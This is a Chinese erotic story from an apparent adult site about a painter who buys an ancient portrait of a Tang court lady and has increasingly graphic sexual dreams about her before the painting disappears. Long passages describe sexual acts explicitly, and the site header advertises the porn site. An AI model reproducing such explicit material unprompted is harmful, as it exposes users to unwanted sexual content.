未满18岁请离开,合理看片健康生活
★本站公告★:合理安排时间看片,享受健康生活。发任意邮件到Lsese318@outlook.com获取最新地址。

画魂情缘

  引言

世界上大多数人都很喜欢做梦,当然梦的种类个有不同:有人喜欢做发财梦,有人喜欢做神仙梦,更有人甚至喜欢做白日梦,梦想事业有成,飞黄腾达!然而对于绝大多数年轻人来说,无疑,他们更多的是喜欢有那么一场香艳的春梦,醉卧高唐,巫山云雨。你若是年轻人,试问你能拒绝这种诱惑吗?

请柬

庄周一个人在这个繁荣的大都市里生活,是一个颇有名气的现代画家。他个性比较内向,又生性疏懒,不乐于交际,因此并没有什么朋友,只除了周穆,他也是一个知名的画家,是他大学的同学,他的画目前很受欢迎,最近正酝酿着再开一次全国巡回展出的画展。

在家里闷了几个月,在自己的工作室将画展所需准备的事情再次悉数清理了一遍,吃过晚饭,回到自己的公寓时,天色已暗,路上的街灯早亮起来了,借着有些昏暗的灯光,他掏出怀中的古董表,掀开盖子,指针指向晚上八点。“唉,时间总在你不知觉中消逝。”庄周无由地轻叹了口气。

庄周居住的地方是个小高层,十五层的楼面庄周只住在第三层,因为他畏高而且从不喜欢乘电梯。经过底楼过道时,他习惯性地在属于自己的邮箱前稍微停顿了一下,眼睛一扫而过,准备继续上楼时忽然发现自己的邮箱中似乎有张红色的纸片,有一个角露出在外面。

庄周自从搬来这地方住,已经足足三年没有收到任何信件,甚至是广告传单之类的东西,每次打开它总是空空如也,或许是太寂寞了吧,性格孤僻的人有时候也一样不喜欢孤独和被遗忘。

庄周皱眉苦笑了一下,想起前两年总是有意无意地找个理由下楼来看自己的信箱,却无一例外地都是空手而返,心中的失落可想而知,只是近半年来由于自己的画忽然开始受欢迎起来,工作室的事情逐渐忙碌,方才将这段心事搁下……思索间,庄周已不由自主地快步迈到绿色的信箱前,掏出似乎有些生锈的钥匙,手指因激动而轻微地颤抖着,好半天才将信箱上的锁打开,再深吸一口气,方才下决心似地往外拉开信箱的小门,一张红色的纸笺静静地躺在信箱里,在楼道里路灯的映射下,发出暗红色的幽幽光芒。

一阵夜风吹过,庄周的身子打了个轻颤,秋日夜天凉,是比较容易感冒的季节,尤其是这个城市的气候是阴冷,人们在感觉到寒意的时候身子早已被病魔侵占。庄周紧了紧外套的领口,迅速抓起那张红色的纸片,锁好信箱,转身冲回自己三楼的房间里。

归来!

美梦存在我们每一个人心中。

就从这里出发,

回到梦开始的地方。

愿望将与你同在!

红色请柬上是大号字体的烫金字,在明亮的灯光照射下,炙热而醒目,尤其是这请柬的字里行间充满了强烈的诱导,犹如一个声音一直在耳边呼唤着,勾起庄周内心深处对美梦憧憬的渴盼,那曾经以为被遗忘和错过的初梦在心中重临,就这样简单的几行字,却使得庄周几乎立刻就下定决心一定要到请柬所指的地方一游!

得画

这个星期日的午夜,庄周按请柬上说明的地址,来到一个虽然冷清,却并不太废旧的车站,被早停候在那里陌生的计程车司机载着,穿越过一处又一处黑暗不知名的胡同。

此时庄周才知道,这个它自以为很熟悉且自小长大一直生存的城市,其实有很多地方他一点都未曾经历甚至听闻过。车子行走的路线迂回环绕,庄周完全没有任何方向感。终于,车子在一个庄周完全陌生,也与他之前意想完全不同的豪华别墅前停下。

按照庄周的意想,这样的请柬所说的地方是在豪华别墅里并不见得稀奇,它坐落在这样偏僻的场所也不一定很独特,但这样豪华的一所别墅在这样的黑夜时分,居然没有任何照明灯光溢出,完全是一片深异的黑,连计程车的车灯射出的光芒都似乎被它完全吸纳,石沉大海般没有反射回来。庄周意识到这点的时候,人已经随着计程车司机的脚步,进入了这暗黑的别墅中。

一路随着计程车司机摸黑走着,庄周心中奇异地没有任何恐惧不安,反而隐隐觉得有一种奇特的渴盼,仿佛在这别墅深处,有某种他急切渴求的事物在等待着他,召唤着他,庄周不由得加紧了脚步。

穿过一条碎石小径,跨过一层模糊的台阶,再往黑暗里继续延伸,随着司机缓缓停下的脚步,庄周激动的心开始平复下来。此时的眼睛也逐渐适应了别墅里的黑暗,朦胧中发现他们停留在一棵大树底下,那棵大树宽可十人环抱,高可入云,庄周抬目上望,只觉得华盖苍云,一种古朴巍峨的气势凌然压下,恐怕这树该有几百年的历史了,只不知道这别墅已经更新了几代,又轮换了几代人家?

庄周微微向后靠了下,将自己因疾步行来而略有些气喘的身躯倚在大树粗糙班驳的躯干上,仰望着大树枝干间垂落许多长长的藤蔓,夜影重重下,犹如古世纪皇冠下垂落的流苏和珠帘,周围三五成群的建筑物或是假山,影影绰绰地拱卫着他立身的大树,环顾四周,找不到一丝如请柬所言拍卖会的迹象。没有灯光、没有人群、没有声响、也没有任何可供出路的门!

一阵夜风拂过,带来一丝透骨的凉意,庄周忍不住打了个寒颤,下意识地双手环抱胸前,皱紧眉头正要询问那引路的司机,抬头注目间却看见他那双闪烁不定的眼睛,在黑夜里显得格外刺目,四周还隐隐有几个暗黑的人形在逐渐围聚过来。

庄周此刻心中方才生出一丝恐惧,在这治安混乱的年代,自己却轻易地相信一纸请柬,就随着陌生人来到这样漆黑的地带,实在是中邪一般。庄周不由得在脑海里飞快地放映着各种可能的画面,并且不克自持地轻微颤抖起来。

“咿呀”一声,庄周感觉到后背靠着的大树一丝轻微地震动,他身侧的树干处开出一道窄门,空间仅可容一人直入,一片清幽的光芒也随之泻地而出,整个幽深黑暗的院落顿时明亮起来,一个穿着轻闲沙龙式样服饰的年轻人踩着满地光芒缓步走出,灯光下的脸孔清秀而柔和,他用一种极其温柔偏又清晰声音向庄周微笑着说:“请跟我来!”简单的语音方落,人也随之转身。

庄周很满意这样的邀请,没有过多虚伪的客套寒暄,简洁而亲切,他只是微微点头轻笑了一下,举步跟着那年轻人踏入那道还来不及深究甚至来不及惊奇的窄门。

走进窄门之后,里面逐级而下是一条深邃的阶梯隧道,石质的阶梯两侧植满花树,两旁的石壁上刻满斑驳的壁画,同时还燃烧着中世纪才有的火把,隧道里的空气流通性极佳,并没有任何让人气闷的感觉,也正因为如此,火把被风吹得忽明忽暗,使得整个隧道显得深幽静谧,又隐隐蒙上几分朦胧神秘的色彩。

庄周随着那陌生的年轻人一路逶迤而下,曲曲折折地拐了好几个弯,石梯两旁的花树枝叶偶尔触碰到他脸颊,枝叶清香,有些甚至还滴着芬芳清凉的露珠,使得庄周原本因这古怪离奇的隧道而有些烦闷忐忑的心情开始舒解好转起来。

还好这样的情形并没有维持太久,再走了一会,已经隐约听到窃窃的人声,拐过一道弯,前面豁然开朗。虽然依旧是不太明亮的光线,但呈现在庄周眼前是一片极其宽广的天地,似乎是一个地下广场,人流潮动,但并不显拥挤也没有太过嘈杂的人声。庄周一下子就喜欢上了这样的氛围,不禁对此行抱有的期待愈发加深了少许。当他转身欲向那陌生年轻人道谢时,却发现他已不知何时消失在深邃的隧道深处。

庄周步下最后几级阶梯,投入四处浏览的人群行列。四周人群虽众,却并没有他熟悉的脸孔,也难怪,这个城市的人口早就严重饱和,出门在外想找个熟人的确不容易。

这卖场里的东西果然极其丰富,有许多都是庄周闻所未闻,见不曾见的。庄周大开眼界之余心情也逐渐振奋。不过他虽然看得兴致盎然,但并没有什么东西极度唤起他购买的欲望,一路走来,也几乎将整个卖场绕了个遍,仍没发觉什么特别心仪的东西,不免心中有些失望,本来是乘兴而来,而且初来时举办方种种神秘的举措,也极大勾起了庄周的期待渴盼。

轻轻叹了口气,庄周正准备打道回府、空手而返时,忽然觉得背后好象有道目光在盯着他,回过头去,却又不见有人在身后。就在这时,庄周发现了挂在墙角的一幅古画。

画上依稀是一个唐朝宫装仕女,庄周看着她的时候,觉得她的眼睛中仿佛有光在流转,好象她也在看着你,而且要看到你的心里去。庄周一下子就喜欢上了这幅画,他的居室里不是正好缺了这么一幅古画吗?

庄周走近那幅画,在暗淡的光线下仔细欣赏着,一位肤若凝脂,清雅高华的少女映入他眼帘。但见她云髻高挽,翠饰凤簪,上着淡紫罗衫,下穿百褶长裙,腰系七彩鸾带,项挂玉佩金环,鹅蛋般的雪肤娇靥上,薄施脂粉,蛾眉月弯,令人看来直疑芙蓉仙子,恰似嫦娥下凡。

庄周也不禁为画中女子的绝色所震慑,恍惚了一会。但这画中女子给他印象最深的地方,不在她的绝世的美貌和动人的风姿,也不在于此画作者的高明作画技巧,而在于她那典雅的玉容和略显落寞的表情里,似乎从眸子至深处透出来那燃烧着的渴盼,勾起他深刻地近乎痛楚的怜惜、珍爱的柔情!庄周从来未见过任何人的画甚至是现实中的真人能予他这种鲜明强烈的印象。

画面似乎有些单调,在那美丽女子的背后并没有什么背景点缀,这与普通的仕女画略有不同。画布是绢质的,庄周仔细看了看,那画布显得很老,却看不出是什么朝代的织品。看旁边有着正式的专家鉴定的印章,以庄周对那位专家的了解,深信他绝不至于判断出错,这果真是作于唐朝的宫装仕女图!

问了价钱后,竟是意料之外的便宜,庄周连想也不想就买下了,甚至也不再仔细研究一下。付了钱,拿着画就快步往来时的方向走去,来到阶梯口,原本领他进来的年轻人已笑容可掬地站在那里等着,庄周因今晚令他惊奇的事情太多,倒没有太多讶异,况且此时心中有事,急于回去仔细观赏这副令自己莫名心动的古画。不出意外地,等在门外的仍是原来送自己的司机,庄周也不多言,谢过那陌生的年轻人后拉开门上车,在夜色阑珊时踏上归程。

入幻

回到家,庄周立刻把这幅画挂在卧室睡床对面的墙上,这样,一躺上床,抬眼就可以看到那副画,还有那副画中的女子。庄周是一直都想在那个位置装饰点什么,总觉得空白的墙壁太刺眼,却没想到居然会挂上这样一幅画,不是自己的作品,而且还是副这样看起来不见得高雅的作品。

在卧室明亮的光线下,庄周仰躺在床上,半撑着身子靠在床头,微眯着眼睛再次仔细欣赏着这幅自己鬼使神差般买来的画。

白色的绢质画布已有些发黄了,但是是很淡的黄,对整幅画的效果没有什么影响,仍是看不出画布的织法,这种织法是在庄周对古画的研究范围之外的。

而画上女子的神情极为逼真,无论庄周站在什么位置上,都觉得似乎画上的女子也在盯着他看,那眼光里流露出极度的温柔和诱惑,就象是情人看着你的感觉。画上的女子也是极度的美丽,带着浅浅的笑容,仿佛不是人间的女子。

其实庄周一向对女孩子有点冷漠,但是在画中女子目光的注视下,庄周心里有种异样的感觉,如果这画上的女子是真人的话……庄周心里荡漾起一种以前从未有过的情欲。

庄周头向后靠了靠,微微闭上眼睛,企图让自己更舒适些,果然,眼前一切逐渐变得朦胧起来,粉红的情欲在心中翻腾,脑海里盈满一种躁动的情绪,全身更是流窜着莫名的骚动。

庄周一向都有裸睡的习惯,直接被柔软的丝被摩擦着的身体,犹如被一只柔软的小手抚摸过,肉体肌肤开始涨红,流淌着一阵阵的热潮,并且勾起种种疯狂的幻想。暴露在空气中的部分也似乎隐隐有看不见的东西在触摸,甚至是舔弄的感觉,仿佛有香舌滑过他的面颊、他的鼻、他的唇,还有脖颈、肩胛、胸膛,甚至是他的厚而敏感的耳垂……庄周模模糊糊地睡着,梦见他和那画中女子手牵着手,相互偎依着走在宽广无垠的原野上。星夜温柔,皎洁的月正在冉冉升起,一股浓郁的花木香气在夜空中弥漫着,夜色清凉,隐约有薄雾笼罩,碧草如丝,每一片草叶上都盈盈有露珠凝结,随着草儿在风中飘摇,像钻石般地晶莹闪烁着。郁郁葱葱的山麓,充满着青春的诱惑;月夜沁人的芳馨,刺激着他们酣畅的官感。

庄周情不自禁地紧紧搂抱着怀中的女子,呼吸也开始急促起来,微微俯下身躯,垂首找到伊人鲜嫩的红唇,轻轻地一碰再碰,温柔摩挲,沿着伊人的额头,脸蛋,眼眸,眉梢,一路亲吻,逐渐加快节奏,放重力道。

当他吻到伊人的微鼓香腮,光滑的下颌,再游移到伊人天鹅绒般柔软洁白的脖颈时,鼻间呼出厚重灼热的气息,嘴唇张开,再无法压抑心中狂乱的激情,像是饥饿久了似的,又像是见到久未尝试的美食,狂风骤雨般不住亲吻、噬咬,嘴唇含住,用力吮吸,甚至间中还如极其渴血的吸血鬼般伸出自己的牙齿,在伊人纤柔的脖颈上啮咬,舌头来回旋转舔弄,真的有一种恨不得将怀中女子整个完全吞入口中的强烈感觉。

画中女子经受着庄周略带些孟浪和冲动的亲吻拥抱,也显得有些动情了,在他热烈的亲吻和温暖的怀抱里神魂迷醉,星眸滴水,呵气如兰,香软的娇躯不停地扭动,轻轻娇吟出声,像是从她灵魂深处传递出最香甜、最激越的情爱呼唤!犹如一股药性绝强的化学催化剂般牵引着庄周昂扬勃发的男性欲望,充血膨胀、高举坚挺着。配合着两人拥抱交缠的姿势,直直地顶在伊人最敏感私密的少女禁地,不住地跳动、摩擦、挤压。

同时双唇重新吻住伊人的樱桃小嘴,将她那销魂腻人的呻吟吻做一阵阵含糊无声的娇喘咿唔,感受着伊人鲜嫩的红唇和香滑可口的丁香,芬芳暗吐,散发出充满野性诱惑的靡靡气息,让庄周极欲恣意放纵自己的情欲,急需让充涨心中的欲望找到一个宣泄口。交体厮缠,庄周却发现自己陷入一种欲进无门、欲罢不能的尴尬境地。

他一方面神智清醒地认知道,自己是陷入在情欲的绮梦中,可他宁愿沉醉,不肯醒来,不肯动弹,甚至不敢接触自己的身体,害怕控制不住,会做出什么来惊吓了这突如其来又瑰丽无比的春梦。

他是个有些孤僻的人,很少和女性交往,甚至也从不曾花钱找乐子,他,其实一直没有品尝过与异性的性爱欢愉,甚至,连那样的想法都很少产生过;他,是不需要也不接受女子的,尽管他的画大部分正是人体模特,或许正因为如此,女性的躯体才对他没有什么神秘感,当然也失去了诱惑力。所以今夜的激情对于他而言才是如此弥足珍贵,而这清晰强烈至如此境地的春梦也令他疑幻疑真!

他尝试着紧闭自己的双眼,很专注地想象着这份来之不易的性灵悸动,深刻感受着怀中女体销魂诱人的热力触感,反复细细阅读着自己内心深处的那份渴求欲望,完全不用试图克制自己,虽然不怎么喜欢和女性交流,但他并非是禁欲的僧侣,他,真的已经压抑太久,应该合理地放纵一回。

可是,接下来呢?又该这样做呢?

情欲已经点燃,欲火正在燃烧,可笑的他居然觉得无以为继了。怪不得唯一的朋友周穆老是嘲笑他生活在原始部落中,他,对于性爱的知识连幻想也平乏得可怜,此刻,他实在是找不什么可供参考的资料信息来继续他的绮梦了,心里的激动逐渐平息,那情欲也如春雨般,来得迷离,走得蹊跷。

良久,之前的心猿意马荡然无存,庄周无奈地睁开眼睛,收起干等焦急的心神,再凝神仔细地欣赏这幅古画,企图再从中找到一丝丝的感觉。

盯视了老半天,却一点异样也没发觉。可庄周此时的心情却犹如吊在半空的感觉,不上不下的始终无法平复,自然,更难以入睡。

徘徊难定之间,庄周忽然想起很久前周穆曾经很暧昧地送了他几本书和几张碟片,结果被他束之高阁,尘封于书架某个角落,无人问津。此刻想起,一时之间恐怕也找寻不到,连是否被自己当垃圾处理也说不定。可那副画呢,本来很有感觉的啊?

带着疑问细细看着画,却忽然一下子呆住了,画中女子那原本清浅幽雅的笑容,这时候变得诡异神秘起来,仿佛是看透了庄周的心事一样。庄周不知呆了许久,回过神来,再看伊人,一样是淡淡的笑容,风姿绰约,温婉幽雅。

可是庄周之前梦见画中的女子,是那么柔情似水,娇慵魅惑,充满着对男性的无穷诱惑。甚至此刻回想起来,还能想起伊人那美妙的身姿以及相互拥抱、摩擦、挤压所带来的快感,那细腻如凝脂般的皮肤在手下的滑腻感,似乎空气中还流动着少女身上淡淡的幽香……“如果你要是真人该有多好,就可以和你永远在一起了。如果可以和你这样美丽的女子永远在一起,就是死了也是值得的呀!”庄周对着画上的女子喃喃自语着。那一瞬间,他好象又看见了画中女子露出的诡异而又神秘的笑容,但他已经不觉得了,就怀着这样美丽的遐思,庄周陷入深甜的酣梦中……风情

一天夜里,庄周再次在梦中看见那画中女子时,伊人并没有象往常一样偎依入怀,她只是远远地迎风而立,巧笑嫣然。微风轻拂着她的发丝、罗衣飘飘,裙摆飞扬。

顺着庄周专注的视线,伊人身后缓缓地敞开一道门,分左右两边向外滑开,古色古香的铜环把手分别镶嵌在两扇门中央。伊人向庄周轻轻地招了下手,转身消失在门后的世界,临别时的回眸一笑,比任何邀请都更加直接有效。庄周情不自禁地迅速来到门前,放眼望去,大门里发出柔和的金色光芒,一条长长的通道向里面延伸,伊人就立在通道中央,含笑回眸,迎风招手!

庄周没有任何犹豫地迈过门槛,举步向着门内的伊人走去,恍惚间,好象来到了另一个奇异的空间,好象是古时代的宫殿林苑,亭台楼榭、别有天地:伊人看见庄周迈过门槛,更是展颜一笑,如百花绽放,艳丽夺目。樱唇微张,却没有言语,迳自领前缓行,莲步款款,摇曳生姿。

曲径通幽、长廊转折,广阔园林假山、朱栏楼阁映入眼帘,其情其景,看得庄周为之一呆,如临仙境。

飞阁流丹,苍松滴翠。眼前林苑内楼,殿,亭,阁簇拥,景中有景,假山飞瀑,旁遍植老松。园林中央流淌着一个大型的人工湖泊,湖水支流缭绕园林楼阁之间成溪成泉。临水复廊以漏窗沟通内外,不会阻碍景观视野。主湖碧波倒映的树影,花影,云映,月映,间或游鱼击起的涟漪,形成简直似幻的迷离画面。楼阁烟池,互为供景,以廊桥接连成不可分割的整体,把湖心的奇异天地,点缀得色生香,倍添月夜秘不可测的气氛。

最壮观的是湖心矗立一座小亭,亭内居然摆放在一张圆形石床,纱笼簇拥,锦被叠陈,石床旁边倚靠一石桌,其上放置一个大铜炉,沉香木烟由炉内腾升,徐徐飘散,为亭台蒙上轻纱薄雾,香气四逸。而整个湖面,也是一片云蒸霞蔚,烟波缭绕,宛若人间仙境,若是再有仙子芳姿莅临,轻歌妙舞,人生至此,夫复何求?

梦想成真。

原本朝前引路的伊人不知道何时变换了一身轻纱绫罗的舞衣,雪白的肌肤若隐若现,肉光致致,动人心魄!伊人以一个优美动人的姿势仰躺在林苑内的草地上,双腿委曲盘坐于地,身躯后仰躺倒,双手十指交叉抱头,尽伸置于头后的地上。

一腿膝盖微微曲起,勾勒出一道完美的圆弧,另一只小腿平放,反压在自己身后,这种姿势,使得丰挺的酥胸愈发突起,直有裂衣而出之势,腰腹以下,平滑纤巧,尽显伊人身上起伏有致的线条,绝美容颜上有如雕刻般分明的轮廓,蕴涵包容了天地间至美的情态,庄周一时看得目瞪口呆。

不经意间,庄周那仿佛亘古时期就潜藏于内心深处的原始欲望被引发开来,像涟滴般扩散出去,进而荡漾溢满了整个心湖,眼前所有景致都模糊动荡起来,化为这梦般的世界。

伊人在庄周眼前舞动起来,仙姿绰约、丽影翩然。林苑内繁花异草顿时显得黯然失色,整个天地间仿佛只剩下眼前凌风而舞的伊人,倏忽间伊人舞步轻移,飘到庄周身前,一把拉起他的手。温软的纤手,血脉跳动的感觉是那样实在和动人。庄周告别了空虚和孤独,不由自主地和她一齐向湖心中央的亭子奔去。

伊人不断回头浅笑,银铃般的笑声,不停地在林苑里回荡。明亮若天星的美眸,深深触动着庄周灵魂的至深处,时间的流动停止下来,眼下的刹那成为凝固了的永恒。

奔行到通往亭子的曲栏石桥入口处,伊人忽然停止奔行,背靠着栏杆,将自己整个娇躯偎依入庄周的怀抱里,丰腴微翘的酥胸,随着她微微急促的呼吸轻扬跳动,顶着庄周灼热的胸膛,纤细的腰身雪白柔嫩的小腿交叉紧挨着他呆立的大腿,微微踮起脚尖,将她那私秘的方寸之地就贴着庄周男性欲望的昂扬处,一双勾魂媚眼朝庄周倾城一笑,如百花齐放、璀璨夺目!而俏脸上变幻无穷地风情,在月色星光的笼罩下,更是勾魂般绰约朦胧的妩媚!

庄周再忍不住,翻身将怀中疑是仙子魔女的女子拉倒在石板地上,整个人压在她的身上,亲吻着她的脸,她的唇。他的手伸进她的飘飞旋摆的罗衣内,直接触碰到了她浑圆瓷实的乳峰,盈盈一握,丰挺充实的感觉顿时涨满他整个心胸,无论形状比例大小都是他梦寐以求的最爱。凝眸望住身下绝美的容颜,此时他的眼前出现了魂梦深处最渴盼香艳极至。

月光下伊人那芬芳的俏脸腾地红了,刹时丽若桃花,瑰丽无方。星眸紧闭,樱唇轻启,整个臻首微微仰起紧贴着庄周温暖的胸口,娇羞无力地低声呢喃道∶“人家~~人家还是初次承欢~~—!君须怜妾娇弱不胜~~!”

庄周闻言如奉纶音,低下头附着伊人耳际柔声道∶“蒙仙子青睐,庄周觉受宠若惊,自当轻怜蜜爱,尽力不让神女专美于前,与仙子云雨巫山,共效于飞,同享极乐!”

伊人像是全心全意信任了庄周的承诺,星眸乍开又闭,娇躯逐渐放松放软,双手无力地垂落身侧,仰面朝天地躺在松软的草地上,玉体横陈,一任自己山峦起伏的绝美身体曲线完全展示在庄周眼前,秀发如丝如墨,容颜晶莹似玉,香甜可口的菱形小嘴微微抽动,无声地召唤着心上爱郎前来攫取,任意品尝。

此情此景,庄周自然不肯怠慢,先轻轻地探出一根手指,温柔地摩擦着伊人芬芳可口的香唇,一阵痒痒地、滑滑地、特别舒服的感觉涌上他的心头,让他情不自禁地手指灵活逗弄几下,引得伊人不禁伸出舌头舔了一下自己唇角,然後又怯生生地露出洁如编贝的牙齿交替轻啮了一下双唇,星眸忽闪,乍开又闭,娇羞楚楚、风情无限。

庄周见了,情怀大动,欲焰飚升,忍不住垂首,头部与伊人额头相抵,大嘴寻上伊人双唇,狠狠地吻了下去。

伊人只来得及“嗯”的一声,所有的咿唔呢喃全化做一阵灼热的洪流,湿润的红唇愈发显得娇艳欲滴,似要在庄周口中融化一般,沁人心脾的清香在他的口齿、舌头、唇间荡漾。

他满足得叹息一声,心想自己原来还真是个天才,只看着几篇教科书就可以使技巧变得如此高明,希望接下来的后续部分也一样完美无缺,他可不希望重蹈覆辙,让香喷可口的鲜肉再次从嘴边飞走。

庄周亲吻的技巧逐渐熟练,程度也愈发加深,轻柔缠绵的亲吻、眷恋流连的吸吻、狂野痴迷的噬吻,一番攻势施展下来,身下的伊人早已全身发软、发烫,一袭罗衫也被渗出的香汗湿透,紧贴住玲珑胡突的娇躯,俏脸红晕密布,星眸被庄周几个狂野的动作刺激得偶尔张开时,流光溢彩,鲜艳得好像要滴出水来,长而曲的黑亮睫毛不住颤动,从喉咙里面不断发出低低的呻吟声,一时风情无限,散发出致命的诱惑!

庄周小心地用嘴唇慢慢地把伊人的柔软的樱唇挤开,舌头抵着她两排整齐细密的贝齿,左右上下来回舔弄,连齿根上红嫩的牙龈也不放过,酸痒酥麻的感觉侵袭着伊人整个香唇,迅速蔓延扩展至心房。

伊人终于抑制不住,“啊”的一声呻吟,樱唇开启,放任庄周的舌头长趋直入,掇住她滑嫩的小巧丁香,不停地搅弄纠缠,销魂的快感使得伊人整个身子都拱了起来,逐渐丰挺膨胀的酥胸因两人紧密贴合的姿势紧紧的顶着庄周的胸膛。

一时之间,伊人酥胸那松软又富有极美弹性的触感乐得庄周忘乎所以,下身充胀的男性欲望急不可耐地茁长,硬硬地直顶着伊人腿间私密处,自发地轻轻抽动、摩擦。庄周的手也没闲着,滑到伊人罗衫低开的衣领处,轻柔地向两旁拉开来,并顺势随它滑落到腰腹处,手指摸索到伊人轻绸腰带,一拉一抖,轻而易举地将它解开,丢置一旁。

入目的绝世美景令庄周一时目瞪口呆,屏住了呼吸。只见伊人那彻底袒露在他眼前的雪白肌肤,如此晶莹剔透,闪烁着象牙般的光泽,曲线玲珑的赤裸胴体深陷在碧绿草地中,以天为幕、以地为席,纤腰盈盈仅堪一握,平滑的小腹上梨涡浅浅,一对修长柔美的玉腿含羞并拢,芳草萋萋的幽谷若隐若现,微微侧转的娇躯山峦起伏,绝美的容颜上一片羞红,星眸紧闭,又黑又长的睫毛如春日里受惊的蝶翼轻颤,令人油然而生一股怜爱之意。而雪白酥胸处高耸的玉峰,以及挺立其上两点嫣红……如此美丽绝艳得动人心魄,令人难以自持!

庄周迅速将他的嘴唇移到了伊人的耳根后面,用舌头扫开一旁垂落的青丝,露出伊人晶莹圆润的耳垂,张开牙齿轻啮,舌头舔弄,随着他灼热的呼吸轻轻吹入伊人的耳朵里,被他压在身下的那具近乎瘫软了的娇躯,发出了一阵诱人的颤栗。他紧搂着伊人柳腰的手也同时在伊人平滑没有丝毫赘肉的腰腹处抚摩而过,当手指滑过那清浅圆润的肚脐时,还促狭似地伸出食指,轻探入内,旋转着画圈圈,痒得伊人发出一声长长地娇吟,小腹紧缩,腰肢不住地扭动。

他的嘴唇仍然是亲吻吮吸着伊人香甜的小嘴,手上开始加紧动作,很快就从伊人纤细的腰腹处游移而上,左右同时掌握住了伊人挺拔的双峰,充实的感觉油然而生,雪白滑腻的双峰盈盈仅堪一握,虽不是很丰腴但极其坚挺而富有弹性,正是庄周最爱的钟乳形状,乳峰随着伊人逐渐急促的呼吸不自觉地在他掌中轻轻跃动着。庄周用掌心摩挲夹挤着乳峰上两点樱桃,聆听着心爱伊人发出的声声呻吟。

接着,他的嘴唇从伊人的柔美的脖颈一路亲吻而下,一直吻到了她的酥胸,左右轮番骚扰着两座乳峰,却有意无意地忽略了乳峰上那两点渴求滋润的嫣红突起,让她不自觉挺腰耸胸,娇躯弯成一道拱桥,雪白的乳峰点缀着两点嫣红,愈发突出,美得无以复加!

伊人情怀难禁地扭动着躯体,一双玉手漫无目的地在庄周背上抚摩,或是无力地垂落身体两侧,小腿曲了起来,翘臀竭力向上挺动,来回摩擦挑逗着庄周挤压在她腿间的男性坚挺,樱唇无可自持地张开,发出呜咽似的呻吟声。

花香馥郁,光影迷离;薄雾如纱,万籁俱寂;月色皎洁、星夜温柔;美人如玉,娇体横陈,正是花好月圆夜,共渡良宵时。

蓦地,庄周抽出在伊人玉峰处游移肆虐的大手,站起身,一下将身下的伊人抱起,任那半解的罗衣长长地拖在身后,跨过通往湖心凉亭的曲桥,单手拉开凉亭中心处大床上垂落的纱帘,轻轻地将怀中近乎完全赤裸的伊人放倒在床上……“砰!”一声巨响,把庄周从梦中震醒过来,眼前迷离如仙境般的宫殿林苑消失了,当然怀中原本如若实际存在的香艳女体也化做一缕困惑的空气,四周一片黑暗,而庄周自己仍然躺在床上。黑暗中,对面的墙壁上挂着古画的地方隐隐传来幽幽的光,仿佛仍可看见画上伊人微笑着。

庄周听了一下,原来是楼上新搬来的那对夫妻正在吵架。庄周心暗骂着楼上那对夫妻,三更半夜不睡,偏偏在这个时候打扰他的美梦,要不,接着他就和伊人相拥着上了那张大床,可以预见后面会有着更旖旎的风景,更诱人的激情呢!

庄周翻身捂住了耳朵,心里念叨着,快快睡着,快快睡着,他希望那梦境再次出现。这样还是挺有效的,庄周不一会儿就沉沉进入了梦中的温柔乡。只是,那深切渴盼的香艳梦境却再没有重来,一夜无梦,庄周当晚睡得倒是极其安稳,或许该算是他成年后睡得最香甜的一夜!

失窃

庄周拖着疲惫的身躯回到家中,随手拉开房间里的灯,顾不得脱衣换鞋,就直挺挺地颓然软倒在床上,今天无奈之下答应与合作开自己个人画展的一些生意伙伴应酬,直到半夜三点才能回家。

躺在床上闭目半晌,方才微微缓过神来,睁开眼睛,隐隐觉得有些不对劲,一时却想不起是因为什么,只是觉得仿佛失落了什么重要的东西。

放目打量房间四周,并没有什么异样,还是和今早出门前没什么差别,书架上的书仍摆放整齐,好久都没动过了;书桌上还有些未完成的作品,也是杂乱无章地堆放着;没有装潢过的墙壁还是光洁如新,雪白平坦、空空如也……咦?不对!是少了样东西!那副画,那副上面有着古代仕女的古画!本来应该是挂在对面墙壁上的,现在却是不翼而飞了!

庄周再也顾不得身躯的疲惫,立刻从床上蹦了起来,眼睛四处搜索张望,企图找出一点蛛丝马迹。屋子里的东西都在,可以排除小偷入屋窃的可能,因为除了那见不得人的原因,庄周不以为那副古画会惹人觊觎,它的价值应该是因人而异的,否则当初买这副画时价格就不会这样低,它也不会一直挂在那无人问津。既然屋子里比它更值钱的东西丝毫未动,那这副画到底有什么理由消失不见呢?

庄周呆坐在床头,挖空心思想着,前几天自己去外地商谈商业画展事宜,朋友周穆借自己的房子逍遥了几天,说是到乡村度假,庄周的公寓虽然偏僻些,但仍属于市中心范围,他还因此取笑周穆幻想过度。难道是周穆给拿走了?似乎不太可能,因为周穆将房子还回给自己也有几天了,虽然这几天自己都因工作繁忙而疲惫不堪,没有太多的时间和精力进入那香艳的梦境,但每天临睡前自己都会习惯性地凝视着那古画半天方才入睡,就连早上出门也要痴心瞄上两眼,方才安心出门,今天早上没有异样,也就是说古画是今天白天丢失的。

这种情形,庄周不知道自己是否应该报警。但思前想后,撇开这古画的价值不谈,仅这房子里其他的东西一样不少,警察们肯定不会相信自己真的丢失了什么,而且即使他们肯备案记录,恐怕也只是敷衍了事而已。毕竟,对他们以及大多数人而言,这只是一副普通的古画,说不定还是副赝品,真要让他们大张旗鼓地调查,庄周也无法说出口,况且这副画对他的重要性要告诉外人他也实在难以启齿。

第二天天色微明,庄周就起床出门,公寓门口值班的保安人员都奇怪地望着他,不仅因为时间太早,最主要的是庄周形容憔悴,胡子邋遢一把,两眼通红,布满血丝。事实上庄周昨晚一夜未睡,翻来覆去想了一晚,最终决定再去那奇特的地方再碰碰运气,看看那老板是否还有其他同样的古画出售。

天色逐渐暗了下来,当最后一抹夕阳从天边消失,庄周终于颓然地坐倒在路旁的墙角。

整整一天,庄周等在那旧车站,连吃饭都是预先买后干面包和矿泉水,不敢稍离,可是始终没有再见到上次载他去拍卖会的计程车司机,他也曾经多次向路人打听有关那奇特的豪华别墅,却没有任何人可以提供些须有用的线索,甚至好几次还险些被人当作犯了失心疯的精神病人看待。

虽然又累又饿,但庄周还是继续等在那里,即使机会渺茫,但只要有一线希望,庄周也不肯放过。直到不远处都市霓虹闪烁,街灯耀眼,夜色沉寂,庄周终于放弃等待,拖着疲惫的身躯一步一步地走回家中。

就这样过了三天,庄周都坚持守侯在那里,甚至连工作室也没有去过,还好最近他因为要忙于将来的画展,近一个月的事情都预先安排处理得差不多了,倒没有带给他太多的困扰。但三天来,那计程车司机还是如人海飘鸿,杳无音讯,宛如人间蒸发般。庄周也曾经通过各种途径来打探是否有这样一位计程车司机,都毫无结果,就好象这城市从来就没有这样一个人存在。

